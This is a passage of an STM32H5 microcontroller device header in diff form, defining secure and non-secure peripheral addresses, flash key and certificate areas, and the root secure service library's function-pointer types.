LPTIM6_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB3 secure peripherals */ +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define DEBUG_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) + +/*!< AHB4 secure peripherals */ +#define OTFDEC1_BASE_S (AHB4PERIPH_BASE_S + 0x5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8000UL) +#define DLYB_SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8400UL) +#define SDMMC2_BASE_S (AHB4PERIPH_BASE_S + 0x8C00UL) +#define DLYB_SDMMC2_BASE_S (AHB4PERIPH_BASE_S + 0x8800UL) +#define FMC_R_BASE_S (AHB4PERIPH_BASE_S + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_S (AHB4PERIPH_BASE_S + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_S (AHB4PERIPH_BASE_S + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define FMC_Bank5_6_R_BASE_S (FMC_R_BASE_S + 0x0140UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_BASE_S (0x0FF80000UL) /*!< FLASH System secure base address */ +#define FLASH_SYSTEM_SIZE (0x10000U) /*!< 64 Kbytes system Flash */ + +/* Internal Flash EDATA Area */ +#define FLASH_EDATA_BASE_NS (0x09000000UL) /*!< FLASH high-cycle data non-secure base address */ +#define FLASH_EDATA_BASE_S (0x0D000000UL) /*!< FLASH high-cycle data secure base address */ +#define FLASH_EDATA_SIZE (0x18000U) /*!< 96 KB of Flash high-cycle data */ + +/* Internal Flash OBK Area */ +#define FLASH_OBK_BASE_NS (0x0BFD0000UL) /*!< FLASH OBK (option byte keys) non-secure base address */ +#define FLASH_OBK_BASE_S (0x0FFD0000UL) /*!< FLASH OBK (option byte keys) secure base address */ +#define FLASH_OBK_SIZE (0x2000U) /*!< 8 KB of option byte keys */ +#define FLASH_OBK_HDPL0_SIZE (0x100U) /*!< 256 Bytes of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL1_BASE_NS (FLASH_OBK_BASE_NS + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 non-secure base address */ +#define FLASH_OBK_HDPL1_BASE_S (FLASH_OBK_BASE_S + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 secure base address */ +#define FLASH_OBK_HDPL1_SIZE (0x800U) /*!< 2 KB of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL2_BASE_NS (FLASH_OBK_HDPL1_BASE_NS + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 non-secure base address */ +#define FLASH_OBK_HDPL2_BASE_S (FLASH_OBK_HDPL1_BASE_S + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 secure base address */ +#define FLASH_OBK_HDPL2_SIZE (0x300U) /*!< 768 Bytes of HDPL2 option byte keys */ + +#define FLASH_OBK_HDPL3_BASE_NS (FLASH_OBK_HDPL2_BASE_NS + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3_BASE_S (FLASH_OBK_HDPL2_BASE_S + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3_SIZE (0x13F0U) /*!< 5104 Bytes HDPL3 option byte keys */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) +#define FLASH_OBK_HDPL3S_BASE_NS (FLASH_OBK_HDPL3_BASE_NS) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3S_BASE_S (FLASH_OBK_HDPL3_BASE_S) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3S_SIZE (0x0C00U) /*!< 3072 Bytes of secure HDPL3 option byte keys */ + +#define FLASH_OBK_HDPL3NS_BASE_NS (FLASH_OBK_HDPL3_BASE_NS + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3NS_BASE_S (FLASH_OBK_HDPL3_BASE_S + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3NS_SIZE (FLASH_OBK_HDPL3_SIZE - FLASH_OBK_HDPL3S_SIZE) /*!< 2032 Bytes of non-secure HDPL3 option byte keys */ +#endif /* CMSE */ + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB68UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB84UL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE (0xBF9FB68UL) +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it jumps to the non-secure reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3NS_TypeDef)(uint32_t VectorTableAddr); + +/** + * @brief Input parameter definition of RSSLIB_DataProvisioning + */ +typedef struct +{ + uint32_t *pSource; /*!< Address of the Data to be provisioned, shall be in SRAM3 */ + uint32_t *pDestination; /*!< Address in OBKeys sections where to provision Data */ + uint32_t Size; /*!< Size in bytes of the Data to be provisioned*/ + uint32_t DoEncryption; /*!< Notifies RSSLIB_DataProvisioning to encrypt or not Data*/ + uint32_t Crc; /*!< CRC over full Data buffer and previous field in the structure*/ +} RSSLIB_DataProvisioningConf_t; + +/** + * @brief Prototype of RSSLIB Data Provisioning Function + * @detail This function write Data within OBKeys sections. + * @param pointer on the structure defining Data to be provisioned and where to + * provision them within OBKeys sections. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_NSC_DataProvisioning_TypeDef)(RSSLIB_DataProvisioningConf_t *pConfig); + + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM RSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; + __IM RSSLIB_S_JumpHDPlvl3NS_TypeDef JumpHDPLvl3NS; +} S_pFuncTypeDef; + +/** + * @brief RSSLib Non-secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_NSC_DataProvisioning_TypeDef DataProvisioning; +} NSC_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + uint32_t RESERVED1[3]; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF9FB6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + +/* + * Certificate address description + */ +#define CERT_CHIP_PACK1_ADDR (0x0BF9FE00U) +#define CERT_CHIP_PACK1_SIZE (0x200U) +#define CERT_CHIP_PACK2_ADDR (0x0BF9FC00U) +#define CERT_CHIP_PACK2_SIZE (0x200U) + +#define CERT_CHIP_PACK_ADDR (CERT_CHIP_PACK2_ADDR) +#define CERT_CHIP_PACK_SIZE (CERT_CHIP_PACK1_SIZE + CERT_CHIP_PACK2_SIZE) + +#define CERT_ST_DUA_INIT_ATTEST_PUB_KEY_OFFSET (152U) +#define CERT_ST_DUA_INIT_ATTEST_PUB_KEY_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_PUB_KEY_OFFSET) +#define CERT_ST_DUA_INIT_ATTEST_SIGN_OFFSET (216U) +#define CERT_ST_DUA_INIT_ATTEST_SIGN_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_SIGN_OFFSET) +#define CERT_ST_DUA_INIT_ATTEST_SERIAL_OFFSET (484U) +#define CERT_ST_DUA_INIT_ATTEST_SERIAL_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_SERIAL_OFFSET) + +#define CERT_ST_DUA_USER_PUB_KEY_OFFSET (12U) +#define CERT_ST_DUA_USER_PUB_KEY_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_PUB_KEY_OFFSET) +#define CERT_ST_DUA_USER_SIGN_OFFSET (76U) +#define CERT_ST_DUA_USER_SIGN_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_SIGN_OFFSET) +#define CERT_ST_DUA_USER_SERIAL_OFFSET (140U) +#define CERT_ST_DUA_USER_SERIAL_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_SERIAL_OFFSET) + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *)TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *)TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define TIM12_NS ((TIM_TypeDef *)TIM12_BASE_NS) +#define TIM13_NS ((TIM_TypeDef *)TIM13_BASE_NS) +#define TIM14_NS ((TIM_TypeDef *)TIM14_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *)UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *)UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *)USART6_BASE_NS) +#define USART10_NS ((USART_TypeDef *)USART10_BASE_NS) +#define USART11_NS ((USART_TypeDef *)USART11_BASE_NS) +#define CEC_NS ((CEC_TypeDef *)CEC_BASE_NS) +#define UART7_NS ((USART_TypeDef *)UART7_BASE_NS) +#define UART8_NS ((USART_TypeDef *)UART8_BASE_NS) +#define UART9_NS ((USART_TypeDef *)UART9_BASE_NS) +#define UART12_NS ((USART_TypeDef *)UART12_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) +#define FDCAN2_NS ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *)UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SPI4_NS ((SPI_TypeDef *) SPI4_BASE_NS) +#define SPI6_NS ((SPI_TypeDef *) SPI6_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ETH_NS ((ETH_TypeDef *) ETH_BASE_NS) +#define ETH_MAC_NS ((ETH_TypeDef *) ETH_MAC_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define SPI5_NS ((SPI_TypeDef *) SPI5_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define LPTIM5_NS ((LPTIM_TypeDef *) LPTIM5_BASE_NS) +#define LPTIM6_NS ((LPTIM_TypeDef *) LPTIM6_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + +/*!< AHB4 Non secure peripherals */ +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) + +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define FMC_Bank5_6_R_NS ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *)TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *)TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *)TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *)TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *)TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *)TIM7_BASE_S) +#define TIM12_S ((TIM_TypeDef *)TIM12_BASE_S) +#define TIM13_S ((TIM_TypeDef *)TIM13_BASE_S) +#define TIM14_S ((TIM_TypeDef *)TIM14_BASE_S) +#define WWDG_S ((WWDG_TypeDef *)WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *)IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *)SPI2_BASE_S) +#define SPI3_S ((SPI_TypeDef *)SPI3_BASE_S) +#define USART2_S ((USART_TypeDef *)USART2_BASE_S) +#define USART3_S ((USART_TypeDef *)USART3_BASE_S) +#define UART4_S ((USART_TypeDef *)UART4_BASE_S) +#define UART5_S ((USART_TypeDef *)UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *)I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *)I2C2_BASE_S) +#define I3C1_S ((I3C_TypeDef *)I3C1_BASE_S) +#define CRS_S ((CRS_TypeDef *)CRS_BASE_S) +#define USART6_S ((USART_TypeDef *)USART6_BASE_S) +#define USART10_S ((USART_TypeDef *)USART10_BASE_S) +#define USART11_S ((USART_TypeDef *)USART11_BASE_S) +#define CEC_S ((CEC_TypeDef *)CEC_BASE_S) +#define UART7_S ((USART_TypeDef *)UART7_BASE_S) +#define UART8_S ((USART_TypeDef *)UART8_BASE_S) +#define UART9_S ((USART_TypeDef *)UART9_BASE_S) +#define UART12_S ((USART_TypeDef *)UART12_BASE_S) +#define DTS_S ((DTS_TypeDef *)DTS_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *)LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_S) +#define FDCAN2_S ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *)UCPD1_BASE_S) + +/*!< APB2 secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SPI4_S ((SPI_TypeDef *) SPI4_BASE_S) +#define SPI6_S ((SPI_TypeDef *) SPI6_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *)USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA2_S ((DMA_TypeDef *) GPDMA2_BASE_S) +#define 